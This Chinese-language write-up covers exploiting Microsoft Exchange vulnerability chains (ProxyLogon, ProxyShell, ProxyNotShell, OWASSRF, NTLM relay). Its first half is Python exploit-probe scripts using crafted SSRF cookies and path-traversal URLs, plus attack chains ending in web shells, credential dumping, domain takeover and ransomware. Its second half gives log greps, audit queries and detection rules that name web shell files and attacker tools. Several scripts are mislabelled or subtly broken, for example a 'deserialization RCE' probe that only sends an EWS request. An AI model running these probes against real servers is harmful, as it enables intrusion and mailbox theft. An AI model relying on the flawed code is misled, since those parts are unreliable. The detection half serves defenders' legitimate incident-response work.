Microsoft Exchange Server ProxyLogon ProxyShell ProxyNotShell CVE漏洞链利用技术

nmap -sV -p 443,25,587,993,995,143,110,5985,5986 <target>

curl -skI https://<target>/owa/
# X-OWA-Version: 15.1.2507.16
# X-FEServer: EXCH-SERVER
# Set-Cookie: ClientId=...

curl -skI https://<target>/ecp/
# X-OWA-Version / X-FEServer

curl -sk https://<target>/autodiscover/autodiscover.xml
# Exchange Autodiscover 响应

curl -sk https://<target>/ews/exchange.asmx
# Exchange Web Services WSDL

443    — OWA / ECP / EWS / ActiveSync / MAPI / Autodiscover / OAB
25     — SMTP (接收)
587    — SMTP (提交)
993    — IMAPS
995    — POP3S
143    — IMAP
110    — POP3
5985   — WinRM HTTP (PowerShell Remoting)
5986   — WinRM HTTPS (PowerShell Remoting)
88     — Kerberos
389    — LDAP
636    — LDAPS

/owa/                                    — Outlook Web App 登录
/ecp/                                    — Exchange Control Panel
/ews/exchange.asmx                       — Exchange Web Services
/autodiscover/autodiscover.xml           — Autodiscover 服务
/autodiscover/autodiscover.json          — Autodiscover JSON API
/Microsoft-Server-ActiveSync             — ActiveSync
/mapi/                                   — MAPI-over-HTTP
/rpc/                                    — RPC-over-HTTP
/OAB/                                    — Offline Address Book
/powershell/                             — Exchange Remote PowerShell
/RpcWithCert/                            — RPC with Client Certificate
/exchweb/                                — Exchange Web 根目录
/aspnet_client/                          — ASP.NET 客户端资源

import requests
import re
import urllib3
urllib3.disable_warnings()

def detect_exchange(host, port=443):
    base_url = f"https://{host}:{port}"
    endpoints = [
        "/owa/",
        "/ecp/",
        "/ews/exchange.asmx",
        "/autodiscover/autodiscover.xml",
        "/Microsoft-Server-ActiveSync",
        "/mapi/",
    ]
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    }

    print(f"[*] Scanning Exchange Server at {base_url}")

    for ep in endpoints:
        try:
            resp = requests.get(
                f"{base_url}{ep}",
                headers=headers,
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            if resp.status_code in [200, 302, 401, 403]:
                print(f"[+] {ep} -> HTTP {resp.status_code}")
                for hdr in ["X-OWA-Version", "X-FEServer", "X-AspNet-Version", "Server"]:
                    val = resp.headers.get(hdr, "")
                    if val:
                        print(f"    {hdr}: {val}")

                ver = re.search(r'X-OWA-Version:\s*([\d.]+)', str(resp.headers))
                if ver:
                    owa_ver = ver.group(1)
                    print(f"\n[+] Exchange Version: {owa_ver}")
                    major = int(owa_ver.split(".")[0])
                    if major == 15:
                        print("[+] Product: Exchange Server 2016 / 2019")
                    elif major == 14:
                        print("[+] Product: Exchange Server 2010")
        except Exception:
            pass

    try:
        resp = requests.post(
            f"{base_url}/autodiscover/autodiscover.xml",
            headers={**headers, "Content-Type": "text/xml"},
            data='<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>test@target.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>',
            verify=False,
            timeout=10
        )
        if resp.status_code == 200:
            server_name = re.search(r'<Server>([^<]+)</Server>', resp.text)
            if server_name:
                print(f"[+] Internal server name: {server_name.group(1)}")
    except Exception:
        pass

detect_exchange("192.168.1.1")

import requests
import re
import urllib3
urllib3.disable_warnings()

def exploit_proxylogon_ssrf(host, port=443, target_email="admin@target.local"):
    base_url = f"https://{host}:{port}"

    ssrf_paths = [
        "/owa/auth/temp.js",
        "/ecp/temp.js",
        "/owa/auth/current/css/boot.css",
        "/ecp/proxylogon.js",
    ]

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Cookie": "X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    print("[*] CVE-2021-26855 — ProxyLogon SSRF Probe")
    print(f"[*] Target: {base_url}")

    for path in ssrf_paths:
        try:
            resp = requests.get(
                f"{base_url}{path}",
                headers=headers,
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            print(f"[*] GET {path} -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
            if resp.status_code == 200 and "ecp" in resp.text.lower():
                print(f"[+] SSRF successful — backend content returned!")
                print(f"[+] Response: {resp.text[:300]}")
        except Exception:
            pass

    ecp_paths = [
        "/ecp/Administrator",
        "/ecp/Administrator/",
    ]

    for path in ecp_paths:
        try:
            resp = requests.get(
                f"{base_url}{path}",
                headers=headers,
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            if resp.status_code == 200:
                print(f"[+] ECP access via SSRF: {path}")
                if "runspace" in resp.text.lower() or "exchange" in resp.text.lower():
                    print(f"[+] Exchange backend content detected!")
        except Exception:
            pass

    print("[*] Testing Autodiscover SSRF vector...")
    autodiscover_payload = f"""<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  <Request>
    <EMailAddress>{target_email}</EMailAddress>
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  </Request>
</Autodiscover>"""

    try:
        resp = requests.post(
            f"{base_url}/autodiscover/autodiscover.xml",
            headers={**headers, "Content-Type": "text/xml"},
            data=autodiscover_payload,
            verify=False,
            timeout=10
        )
        if resp.status_code == 200 and "Protocol" in resp.text:
            print(f"[+] Autodiscover responded with user data!")
            server = re.search(r'<Server>([^<]+)</Server>', resp.text)
            if server:
                print(f"[+] Internal server: {server.group(1)}")
    except Exception:
        pass

exploit_proxylogon_ssrf("192.168.1.1")

import requests
import urllib3
urllib3.disable_warnings()

def exploit_proxylogon_deserialize(host, port=443):
    base_url = f"https://{host}:{port}"

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Cookie": "X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/ews/exchange.asmx?~3;",
        "Content-Type": "text/xml; charset=utf-8",
    }

    print("[*] CVE-2021-26857 — ProxyLogon Deserialization RCE Probe")

    ews_payloads = [
        '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetFolder xmlns="http://schemas.microsoft.com/exchange/services/2006/messages"><FolderShape><BaseShape>IdOnly</BaseShape></FolderShape><FolderIds><DistinguishedFolderId Id="inbox"/></FolderIds></GetFolder></soap:Body></soap:Envelope>',
    ]

    for payload in ews_payloads:
        try:
            resp = requests.post(
                f"{base_url}/ecp/temp.js",
                headers=headers,
                data=payload,
                verify=False,
                timeout=15,
                allow_redirects=False
            )
            print(f"[*] EWS via SSRF -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
            if "ResponseCode" in resp.text and "NoError" in resp.text:
                print("[+] EWS access confirmed via ProxyLogon SSRF!")
                print("[+] Target is VULNERABLE to ProxyLogon chain")
            if "mapi" in resp.text.lower():
                print("[+] MAPI backend accessible via SSRF")
        except Exception:
            pass

    print("[*] Testing OAB path traversal (CVE-2021-26858)...")
    oab_headers = {
        "Cookie": "X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/OAB/../../../../../inetpub/wwwroot/aspnet_client/test.txt?~3;",
    }
    try:
        resp = requests.get(
            f"{base_url}/owa/auth/test.txt",
            headers=oab_headers,
            verify=False,
            timeout=10
        )
        print(f"[*] OAB traversal -> HTTP {resp.status_code}")
    except Exception:
        pass

exploit_proxylogon_deserialize("192.168.1.1")

# 检查 Exchange Web 目录中的异常文件
find "/c/Program Files/Microsoft/Exchange Server/V15/FrontEnd/HttpProxy/owa/auth/" \
  -name "*.aspx" -o -name "*.ashx" -o -name "*.asmx" -mtime -180

find "/c/Program Files/Microsoft/Exchange Server/V15/FrontEnd/HttpProxy/ecp/" \
  -name "*.aspx" -o -name "*.ashx" -mtime -180

find "/c/inetpub/wwwroot/aspnet_client/" -type f -mtime -180

# 检查非 Microsoft 签名的 ASPX 文件
Get-ChildItem -Path "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy" \
  -Recurse -Include "*.aspx","*.ashx" | ForEach-Object {
  $sig = Get-AuthenticodeSignature $_.FullName
  if ($sig.SignerCertificate -notlike "*Microsoft*") {
    [PSCustomObject]@{ File = $_.FullName; Signature = $sig.Status }
  }
}

import requests
import re
import urllib3
urllib3.disable_warnings()

def exploit_proxyshell_chain(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2021-34473/34523/31207 — ProxyShell Chain Probe")
    print(f"[*] Target: {base_url}")

    bypass_paths = [
        "/autodiscover.json?@test.com/ews/exchange.asmx",
        "/autodiscover.json?@test.com/powershell",
        "/autodiscover.json?@test.com/mapi/nspi",
        "/owa/auth/temp.js",
        "/ecp/temp.js",
    ]

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "X-Rewrite-URL": "/autodiscover/autodiscover.xml",
        "Content-Type": "text/xml",
    }

    autodiscover_body = """<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  <Request>
    <EMailAddress>admin@target.local</EMailAddress>
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  </Request>
</Autodiscover>"""

    print("[*] Stage 1: Path traversal via X-Rewrite-URL...")
    for path in bypass_paths:
        try:
            resp = requests.post(
                f"{base_url}{path}",
                headers=headers,
                data=autodiscover_body,
                verify=False,
                timeout=15,
                allow_redirects=False
            )
            print(f"[*] POST {path} -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
            if "Protocol" in resp.text or "Server" in resp.text:
                print(f"[+] Autodiscover data leaked via path traversal!")
            if "ResponseCode" in resp.text:
                print(f"[+] EWS/MAPI backend accessible!")
        except Exception:
            pass

    print("[*] Stage 2: Testing direct Autodiscover SSRF...")
    ssrf_headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "text/xml",
    }
    ssrf_paths = [
        f"/autodiscover.json?@localhost/ews/exchange.asmx",
        f"/autodiscover.json?@localhost/powershell",
        f"/autodiscover.json?@localhost/mapi/nspi",
    ]
    for path in ssrf_paths:
        try:
            resp = requests.post(
                f"{base_url}{path}",
                headers=ssrf_headers,
                data=autodiscover_body,
                verify=False,
                timeout=15
            )
            print(f"[*] SSRF {path} -> HTTP {resp.status_code}")
            if resp.status_code == 200 and len(resp.text) > 100:
                print(f"[+] Backend response received via SSRF")
        except Exception:
            pass

    print("[*] Stage 3: Checking UM endpoint accessibility...")
    um_paths = [
        "/Microsoft-Server-ActiveSync",
        "/ews/exchange.asmx",
        "/mapi/nspi",
    ]
    for path in um_paths:
        try:
            resp = requests.get(
                f"{base_url}{path}",
                headers={"User-Agent": "Mozilla/5.0"},
                verify=False,
                timeout=10
            )
            print(f"[*] {path} -> HTTP {resp.status_code}")
        except Exception:
            pass

exploit_proxyshell_chain("192.168.1.1")

Search-AdminAuditLog -Cmdlets New-MailboxExportRequest, New-MailboxSearch, \
  Search-Mailbox, Get-MailboxPermission |
  Select-Object Caller, CmdletName, ObjectName, RunDate

Get-MailboxPermission -Identity * |
  Where-Object { $_.AccessRights -eq "FullAccess" -and $_.IsInherited -eq $false }

Get-Mailbox -ResultSize Unlimited | ForEach-Object {
  $rules = Get-InboxRule -Mailbox $_.Identity -ErrorAction SilentlyContinue
  foreach ($rule in $rules) {
    if ($rule.ForwardTo -or $rule.RedirectTo -or $rule.DeleteMessage) {
      [PSCustomObject]@{
        Mailbox = $_.UserPrincipalName
        RuleName = $rule.Name
        ForwardTo = $rule.ForwardTo
        RedirectTo = $rule.RedirectTo
      }
    }
  }
}

import requests
import urllib3
urllib3.disable_warnings()

def exploit_proxynotshell(host, port=443, username="test@test.local", password="password"):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2022-41040/41082 — ProxyNotShell Chain Probe")
    print(f"[*] Target: {base_url}")

    session = requests.Session()
    session.verify = False

    print("[*] Stage 1: Authenticating with low-privilege account...")
    try:
        login_data = {
            "username": username,
            "password": password,
            "isUtf8": "1",
        }
        resp = session.post(
            f"{base_url}/owa/auth.owa",
            data=login_data,
            allow_redirects=False,
            timeout=15
        )
        if "Logon" not in resp.text and resp.status_code in [200, 302]:
            print("[+] Authentication successful")
        else:
            print("[*] Authentication result unclear, continuing...")
    except Exception:
        pass

    print("[*] Stage 2: SSRF to internal PowerShell endpoint...")
    ssrf_paths = [
        "/autodiscover/autodiscover.json?@localhost/powershell",
        "/owa/auth/a]/../../powershell",
        "/ecp/a]/../../powershell",
        "/autodiscover.json?@localhost/PowerShell",
    ]

    for path in ssrf_paths:
        try:
            resp = session.get(
                f"{base_url}{path}",
                headers={"User-Agent": "Mozilla/5.0"},
                timeout=15,
                allow_redirects=False
            )
            print(f"[*] GET {path} -> HTTP {resp.status_code} ({len(resp.text)} bytes)")
            if "powershell" in resp.text.lower() or "serialized" in resp.text.lower():
                print(f"[+] PowerShell endpoint accessible via SSRF!")
        except Exception:
            pass

    print("[*] Stage 3: Testing serialization endpoint...")
    serialize_headers = {
        "Content-Type": "application/soap+xml;charset=UTF-8",
    }
    try:
        resp = session.post(
            f"{base_url}/autodiscover/autodiscover.json?@localhost/powershell",
            headers=serialize_headers,
            data="<root/>",
            timeout=15
        )
        print(f"[*] Serialization probe -> HTTP {resp.status_code}")
        if resp.status_code == 200:
            print("[+] PowerShell serialization endpoint responded!")
    except Exception:
        pass

exploit_proxynotshell("192.168.1.1")

import requests
import urllib3
urllib3.disable_warnings()

def exploit_proxyoracle_probe(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2021-31195/31196 — ProxyOracle Auth Bypass Probe")
    print(f"[*] Target: {base_url}")

    owa_endpoints = [
        "/owa/",
        "/owa/auth/logon.aspx",
        "/owa/auth.owa",
    ]

    print("[*] Stage 1: Checking OWA authentication behavior...")
    for ep in owa_endpoints:
        try:
            resp = requests.get(
                f"{base_url}{ep}",
                headers={"User-Agent": "Mozilla/5.0"},
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            print(f"[*] GET {ep} -> HTTP {resp.status_code}")
            cookies = resp.headers.get("Set-Cookie", "")
            if "X-OWA-CANARY" in cookies:
                print(f"[+] X-OWA-CANARY cookie present")
            if "X-BackEndCookie" in cookies:
                print(f"[+] X-BackEndCookie present")
        except Exception:
            pass

    print("[*] Stage 2: Testing authentication oracle responses...")
    test_payloads = [
        {"username": "nonexistent@target.local", "password": "wrong", "isUtf8": "1"},
        {"username": "admin@target.local", "password": "", "isUtf8": "1"},
        {"username": "", "password": "test", "isUtf8": "1"},
    ]

    for payload in test_payloads:
        try:
            resp = requests.post(
                f"{base_url}/owa/auth.owa",
                data=payload,
                headers={"User-Agent": "Mozilla/5.0"},
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            error_msg = ""
            if "error" in resp.text.lower():
                import re
                error_match = re.search(r'class="error[^"]*">([^<]+)<', resp.text)
                if error_match:
                    error_msg = error_match.group(1).strip()
            print(f"[*] Login {payload['username']!r} -> HTTP {resp.status_code} | Error: {error_msg[:60]}")
        except Exception:
            pass

    print("[*] Stage 3: Testing cookie manipulation vectors...")
    canary_values = ["AAAA", "BBBB", "0000", ""]
    for canary in canary_values:
        try:
            resp = requests.get(
                f"{base_url}/owa/",
                headers={
                    "Cookie": f"X-OWA-CANARY={canary}",
                    "User-Agent": "Mozilla/5.0",
                },
                verify=False,
                timeout=10,
                allow_redirects=False
            )
            if resp.status_code == 200 and "logon" not in resp.text.lower():
                print(f"[+] Potential auth bypass with canary={canary}")
        except Exception:
            pass

exploit_proxyoracle_probe("192.168.1.1")

import requests
import urllib3
urllib3.disable_warnings()

def exploit_owassrf(host, port=443, username="user@target.local", password="password"):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2022-41080 — OWASSRF NTLM Leak Probe")
    print(f"[*] Target: {base_url}")

    session = requests.Session()
    session.verify = False

    print("[*] Stage 1: Authenticating to OWA...")
    try:
        resp = session.post(
            f"{base_url}/owa/auth.owa",
            data={"username": username, "password": password, "isUtf8": "1"},
            allow_redirects=False,
            timeout=15
        )
        print(f"[*] Login -> HTTP {resp.status_code}")
    except Exception:
        pass

    print("[*] Stage 2: Triggering SSRF via OWA endpoints...")
    ssrf_paths = [
        "/owa/auth/temp.js",
        "/ecp/temp.js",
        "/autodiscover/autodiscover.json?@localhost/ews/exchange.asmx",
        "/autodiscover/autodiscover.json?@localhost/powershell",
    ]

    for path in ssrf_paths:
        try:
            resp = session.get(
                f"{base_url}{path}",
                headers={"User-Agent": "Mozilla/5.0"},
                timeout=15,
                allow_redirects=False
            )
            print(f"[*] GET {path} -> HTTP {resp.status_code}")
        except Exception:
            pass

    print("[*] Stage 3: Testing NTLM authentication leak...")
    ntlm_trigger_paths = [
        "/ews/exchange.asmx",
        "/mapi/nspi",
        "/autodiscover/autodiscover.xml",
    ]

    for path in ntlm_trigger_paths:
        try:
            resp = session.get(
                f"{base_url}{path}",
                headers={
                    "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=",
                    "User-Agent": "Mozilla/5.0",
                },
                timeout=10,
                allow_redirects=False
            )
            if resp.status_code == 401:
                ntlm_resp = resp.headers.get("WWW-Authenticate", "")
                if "NTLM" in ntlm_resp:
                    print(f"[+] NTLM challenge at {path}")
                    import base64
                    challenge = ntlm_resp.replace("NTLM ", "")
                    try:
                        decoded = base64.b64decode(challenge)
                        if len(decoded) >= 32:
                            print(f"[+] NTLM challenge received ({len(decoded)} bytes)")
                    except Exception:
                        pass
        except Exception:
            pass

exploit_owassrf("192.168.1.1")

import socket
import struct
import base64
import requests
import urllib3
urllib3.disable_warnings()

def detect_ntlm_relay_vectors(host, port=443):
    base_url = f"https://{host}:{port}"

    print("[*] CVE-2023-21529 / CVE-2024-21410 — NTLM Relay Vector Detection")
    print(f"[*] Target: {base_url}")

    print("[*] Stage 1: Checking SMTP NTLM authentication...")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((host, 25))
        banner = sock.recv(1024).decode(errors="ignore")
        print(f"[+] SMTP Banner: {banner.strip()}")

        sock.send(b"EHLO test.local\r\n")
        ehlo_resp = sock.recv(4096).decode(errors="ignore")
        print(f"[+] EHLO Response: {ehlo_resp.strip()}")

        if "AUTH" in ehlo_resp and "NTLM" in ehlo_resp:
            print("[!] SMTP NTLM authentication enabled — NTLM relay vector!")
            sock.send(b"AUTH NTLM\r\n")
            auth_resp = sock.recv(1024)
            print(f"[+] NTLM challenge: {base64.b64encode(auth_resp).decode()}")
        sock.close()
    except Exception as e:
        print(f"[-] SMTP check failed: {e}")

    print("[*] Stage 2: Checking IMAP NTLM authentication...")
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((host, 143))
        banner = sock.recv(1024).decode(errors="ignore")
        print(f"[+] IMAP Banner: {banner.strip()}")

        sock.send(b"a001 CAPABILITY\r\n")
        cap_resp = sock.recv(4096).decode(errors="ignore")
        if "NTLM" in cap_resp or "GSSAPI" in cap_resp:
            print("[!] IMAP NTLM/GSSAPI authentication available!")
        sock.close()
    except Exception as e:
        print(f"[-] IMAP check failed: {e}")

    print("[*] Stage 3: Checking Exchange EWS NTLM...")
    try:
        resp = requests.get(
            f"{base_url}/ews/exchange.asmx",
            headers={
                "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=",
                "User-Agent": "Mozilla/5.0",
            },
            verify=False,
            timeout=10
        )
        if resp.status_code == 401:
            auth_header = resp.headers.get("WWW-Authenticate", "")
            if "NTLM" in auth_header:
                print("[+] EWS NTLM authentication challenge received")
                challenge = auth_header.replace("NTLM ", "")
                decoded = base64.b64decode(challenge)
                if len(decoded) >= 32:
                    target_info_offset = 40
                    if len(decoded) > target_info_offset + 12:
                        target_name_len = struct.unpack("<H", decoded[12:14])[0]
                        target_name_offset = struct.unpack("<I", decoded[16:20])[0]
                        if target_name_offset + target_name_len <= len(decoded):
                            target_name = decoded[target_name_offset:target_name_offset+target_name_len].decode("utf-16-le", errors="ignore")
                            print(f"[+] Domain/Server name: {target_name}")
    except Exception:
        pass

detect_ntlm_relay_vectors("192.168.1.1")

常见 Web Shell 位置:
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\
C:\inetpub\wwwroot\aspnet_client\
C:\inetpub\wwwroot\aspnet_client\system_web\4_0_30319\

已知 Web Shell 名称 (HAFNIUM/FIN 系列):
discoverx.aspx, error.aspx, errorcheck.aspx, t.aspx, web.aspx
one.aspx, two.aspx, aspnet_www.aspx, aspnet_client.aspx

Get-ChildItem -Path "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy" \
  -Recurse -Include "*.aspx","*.ashx","*.asmx" |
  Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-90) } |
  Sort-Object LastWriteTime -Descending |
  Select-Object FullName, LastWriteTime, Length

Search-AdminAuditLog -Cmdlets \
  New-MailboxExportRequest, New-MailboxSearch, Search-Mailbox |
  Select-Object Caller, CmdletName, ObjectName, RunDate

Get-TransportRule | Select-Object Name, State, Priority, \
  BlindCopyTo, RedirectMessageTo, DeleteMessage | Format-List

Get-MailboxPermission -Identity * |
  Where-Object { $_.AccessRights -eq "FullAccess" -and $_.IsInherited -eq $false }

$groups = @(
  "Organization Management",
  "Exchange Trusted Subsystem",
  "Exchange Windows Permissions",
  "Exchange Servers"
)
foreach ($group in $groups) {
  Write-Host "=== $group ==="
  Get-ADGroupMember -Identity $group -Recursive |
    Select-Object Name, SamAccountName, objectClass
}

Get-LogonStatistics | Where-Object {
  $_.ApplicationName -eq "RemotePowerShell"
} | Select-Object UserName, IPAddress, ApplicationName

Get-LogonStatistics | Where-Object {
  $_.ApplicationName -eq "ExchangeServices"
} | Select-Object UserName, IPAddress

Get-TransportRule | Select-Object Name, State, Priority, \
  FromScope, SentTo, BlindCopyTo, RedirectMessageTo, \
  DeleteMessage, QuarantineMode | Format-List

Search-AdminAuditLog -Cmdlets New-TransportRule, Set-TransportRule, \
  Remove-TransportRule |
  Select-Object Caller, CmdletName, ObjectName, RunDate, Parameters

CVE-2021-26855 (SSRF 入口)
    ↓ 通过伪造 Cookie/Header 绕过认证
CVE-2021-26857 (反序列化 RCE)
    ↓ 通过 .NET BinaryFormatter 执行任意代码
CVE-2021-26858/27065 (文件写入)
    ↓ 写入 Web Shell 到 IIS 目录
Web Shell 持久化
    ↓ 部署 China Chopper / ASPXSpy 等 Web Shell
凭据窃取
    ↓ Mimikatz / procdump 提取 LSASS
    ↓ 从邮箱中提取密码、令牌
AD 域接管
    ↓ Exchange 服务账号通常拥有高权限 AD 组
    ↓ DCSync / Golden Ticket / WriteDacl

CVE-2021-34473 (路径穿越)
    ↓ 通过 X-Rewrite-URL 绕过前端验证
CVE-2021-34523 (权限提升)
    ↓ Autodiscover SSRF 获取 SYSTEM 权限
CVE-2021-31207 (UM RCE)
    ↓ Unified Messaging 反序列化执行代码
邮箱数据导出
    ↓ 导出全员邮箱内容（邮件、联系人、附件）
鱼叉式钓鱼
    ↓ 利用内部邮件内容和上下文构造精准钓鱼
    ↓ 以组织名义发送绕过 SPF/DKIM 的钓鱼邮件

低权限邮箱账户
    ↓ 注册或获取任意低权限账户
CVE-2022-41040 (SSRF)
    ↓ 通过 Autodiscover 触发带身份 SSRF
CVE-2022-41082 (PowerShell RCE)
    ↓ URL Rewrite 绕过 + 序列化执行
SYSTEM 权限 RCE
    ↓ 直接在 Exchange 服务器上执行命令
横向移动
    ↓ 从 Exchange 服务器横向到域控
    ↓ Exchange 服务账号通常在 Exchange Windows Permissions 组
勒索软件部署
    ↓ LockBit / BlackCat / Play 勒索组织

CVE-2024-21410 (NTLM 泄露)
    ↓ 通过邮件规则触发 Exchange 向外部发起 NTLM 认证
NTLM Relay
    ↓ 中继到域控制器 LDAP (389/636)
权限提升
    ↓ 利用 Exchange 机器账户的 LDAP 权限
    ↓ 创建计算机账户 / 修改 AD 对象 / RBCD
域接管
    ↓ 通过 RBCD 委派获取域控 Shell
    ↓ 或创建 Golden Ticket

# Exchange IIS 日志默认位置
# C:\inetpub\logs\LogFiles\W3SVC1\

# 检测 ProxyLogon SSRF 特征
grep -E "(temp\.js|proxylogon|X-AnonResource|X-BEResource)" /var/log/exchange/iis/*.log

# 检测 ProxyShell 路径穿越
grep -E "autodiscover\.json\?@" /var/log/exchange/iis/*.log

# 检测 ProxyNotShell URL Rewrite 绕过
grep -E "(\]\/|\]\/\.\.\/|\/a\])" /var/log/exchange/iis/*.log

# 检测 Web Shell 访问
grep -E "(discoverx|errorcheck|error\.aspx|t\.aspx|web\.aspx|one\.aspx|two\.aspx)" \
  /var/log/exchange/iis/*.log

# 检测异常 EWS/MAPI 访问
grep -E "(\/ews\/|\/mapi\/|\/powershell\/)" /var/log/exchange/iis/*.log | \
  awk '{print $1, $5, $6, $7}' | sort | uniq -c | sort -rn | head -20

# 检测异常 User-Agent
grep -E "ExchangeServices|PowerShell|python-requests|curl" /var/log/exchange/iis/*.log | \
  awk '{print $1, $12}' | sort | uniq -c | sort -rn | head -20

Search-AdminAuditLog -StartDate (Get-Date).AddDays(-30) -Cmdlets \
  New-MailboxExportRequest,
  Add-MailboxPermission,
  Add-ADPermission,
  New-ManagementRoleAssignment,
  New-TransportRule,
  Set-OrganizationConfig,
  New-FederationTrust,
  Set-AuthConfig,
  New-InboxRule,
  Set-Mailbox |
  Select-Object Caller, CmdletName, ObjectName, RunDate,
    @{N='Params';E={$_.Parameters | ForEach-Object { "$($_.Name)=$($_.Value)" }}} |
  Sort-Object RunDate -Descending

# 检测异常子进程 (Web Shell 典型行为)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 5000 |
  Where-Object {
    $_.Properties[5].Value -match "w3wp\.exe" -and
    $_.Properties[8].Value -match "powershell|cmd|certutil|wmic|mshta|rundll32"
  } | Select-Object TimeCreated, Message | Format-List

# 检测 UMWorkerProcess 异常父进程 (ProxyShell 特征)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} -MaxEvents 10000 |
  Where-Object {
    $_.Message -match "UMWorkerProcess" -and
    $_.Message -notmatch "umservice\.exe"
  } | Select-Object TimeCreated, Message

// 检测 Exchange Web Shell 文件创建
DeviceFileEvents
| where FolderPath contains @"FrontEnd\HttpProxy"
| where FileName endswith ".aspx" or FileName endswith ".ashx"
| where ActionType == "FileCreated"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine

// 检测异常 EWS 访问模式
CloudAppEvents
| where Application == "Microsoft Exchange Online"
| where ActionType == "Bind" or ActionType contains "FindItem"
| summarize Count = count(), Mailboxes = dcount(RawEventData.MailboxOwnerUPN)
  by ActorDisplayName, ActionType, bin(Timestamp, 1h)
| where Count > 100

// 检测 NTLM Relay 异常登录
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where TargetUserName contains "$"
| project TimeGenerated, TargetUserName, IpAddress, WorkstationName

[ ] 确认 Exchange Server 版本与已安装补丁
    - Get-ExchangeServer | Format-List Name, Edition, AdminDisplayVersion
    - 对比 Microsoft Security Response Center (MSRC) 公告

[ ] 排查 ProxyLogon (CVE-2021-26855/26857/26858/27065)
    - 检查 2021-01 至 2021-06 的 IIS 日志
    - 搜索 SSRF 特征路径 (temp.js, proxylogon.js)
    - 检查 Web Shell 文件
    - 审查 EWS/MAPI 异常访问

[ ] 排查 ProxyShell (CVE-2021-34473/34523/31207)
    - 检查 2021-04 至 2021-12 的 IIS 日志
    - 搜索 autodiscover.json?@ 路径穿越特征
    - 检查 UMWorkerProcess.exe 异常父进程
    - 检查 /ews/ 和 /mapi/ 异常访问

[ ] 排查 ProxyNotShell (CVE-2022-41040/41082)
    - 检查 2022-09 至 2023-03 的 IIS 日志
    - 搜索 URL Rewrite 绕过特征 (]/, a]/)
    - 检查 PowerShell 端点异常访问
    - 审查 Admin Audit Log 中的异常 Cmdlet

[ ] 排查 NTLM Relay (CVE-2023-21529/2024-21410)
    - 检查 Exchange 出站 NTLM 认证请求
    - 审查 AD 安全日志中的异常 LDAP 绑定
    - 检查邮件规则中的外部转发配置

[ ] 排查 Web Shell 和后门
    - 扫描 Exchange Web 目录中的非 Microsoft 签名 ASPX 文件
    - 检查 aspnet_client/system_web/ 下的异常子目录
    - 检查 IIS 虚拟目录配置是否被篡改
    - Get-ChildItem -Recurse -Include "*.aspx","*.ashx" | Get-AuthenticodeSignature

[ ] 排查邮箱数据泄露
    - 审查 New-MailboxExportRequest 历史记录
    - 检查 Transport Rule 和 Inbox Rule 异常
    - 检查 FullAccess / SendAs 权限变更
    - 审查 Federation Trust 和 OAuth 配置

[ ] 网络隔离与加固
    - 立即升级到最新 CU + SU
    - 启用 Extended Protection for Authentication (EPA)
    - 禁用不必要的协议和服务
    - 重置所有 Exchange 服务账号密码
    - 重置 AD 域管理员密码

[ ] Exchange Server 已升级到最新 CU + SU
[ ] 所有已知 CVE 已打补丁（对照 MSRC 公告）
[ ] Extended Protection for Authentication (EPA) 已启用
    - 所有虚拟目录 (OWA, ECP, EWS, MAPI, ActiveSync, OAB, PowerShell)
